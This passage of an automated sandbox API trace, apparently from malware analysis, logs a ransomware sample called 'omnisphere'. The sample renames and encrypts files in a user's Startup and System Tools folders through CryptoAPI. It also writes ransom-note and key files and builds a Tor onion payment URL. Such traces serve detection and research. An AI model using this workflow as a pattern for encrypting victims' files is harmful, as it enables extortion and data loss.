(lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini.omnisphere")) returned 1 [0146.972] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.omnisphere.id" [0146.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.974] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0146.975] CloseHandle (hObject=0x3b4) returned 1 [0146.976] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0146.976] CloseHandle (hObject=0x388) returned 1 [0146.977] SetEndOfFile (hFile=0x3c0) returned 1 [0146.978] FlushFileBuffers (hFile=0x3c0) returned 1 [0146.987] CloseHandle (hObject=0x3c0) returned 1 [0146.987] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 1 [0146.987] GetProcessHeap () returned 0x1600000 [0146.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172c198 [0146.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0146.987] GetProcessHeap () returned 0x1600000 [0146.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd9b0 [0146.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd9b0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0146.988] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0146.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0146.988] GetProcessHeap () returned 0x1600000 [0146.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17101c0 [0146.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17101c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0146.988] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0146.988] GetProcessHeap () returned 0x1600000 [0146.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x1729f58 [0146.988] PathCombineW (in: pszDest=0x1729f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\!DECRYPT_OMNISPHERE.txt" [0146.988] GetProcessHeap () returned 0x1600000 [0146.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171f690 [0146.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0146.991] WriteFile (in: hFile=0x3c0, lpBuffer=0x171f690*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171f690*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0146.992] CloseHandle (hObject=0x3c0) returned 1 [0146.993] GetProcessHeap () returned 0x1600000 [0146.994] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c198 | out: hHeap=0x1600000) returned 1 [0146.994] GetProcessHeap () returned 0x1600000 [0146.994] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1625bd8 [0146.994] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\unique_decrypt.key" [0146.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0146.997] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0146.999] CloseHandle (hObject=0x3c0) returned 1 [0147.000] GetProcessHeap () returned 0x1600000 [0147.000] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0147.000] GetProcessHeap () returned 0x1600000 [0147.000] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c868 | out: hHeap=0x1600000) returned 1 [0147.000] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0xbf, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0147.000] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0147.001] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x38b60844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38b60844, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0147.001] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x38b60844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38b60844, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.002] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b60844, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38b60844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38b60844, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0147.002] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x38b3a5e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="")) returned 1 [0147.002] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b3a5e5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38b3a5e5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38b3a5e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0147.002] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b60844, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38b60844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38b60844, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0147.002] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b60844, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38b60844, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38b60844, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0147.002] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0147.002] GetProcessHeap () returned 0x1600000 [0147.002] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4bc8 | out: hHeap=0x1600000) returned 1 [0147.002] GetProcessHeap () returned 0x1600000 [0147.002] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4b10 | out: hHeap=0x1600000) returned 1 [0147.002] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0147.002] GetProcessHeap () returned 0x1600000 [0147.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb4) returned 0x172c4c8 [0147.002] PathCombineW (in: pszDest=0x172c4c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="System Tools" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools" [0147.002] GetProcessHeap () returned 0x1600000 [0147.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x172d548 [0147.002] PathCombineW (in: pszDest=0x172d548, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*" [0147.002] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0147.003] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0147.003] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4c08a146, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x476, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Command Prompt.lnk", cAlternateFileName="COMMAN~1.LNK")) returned 1 [0147.003] GetProcessHeap () returned 0x1600000 [0147.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172a210 [0147.003] PathCombineW (in: pszDest=0x172a210, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="Command Prompt.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" [0147.003] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0147.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.004] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1142) returned 1 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.004] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] GetTickCount () returned 0x1164936 [0147.005] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668f88) returned 1 [0147.006] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0147.006] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0147.006] CryptDestroyKey (hKey=0x1639b28) returned 1 [0147.006] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0147.006] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x476, lpName=0x0) returned 0x388 [0147.006] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x476) returned 0x1480000 [0147.008] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668d68) returned 1 [0147.009] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16396a8) returned 1 [0147.009] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.009] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, 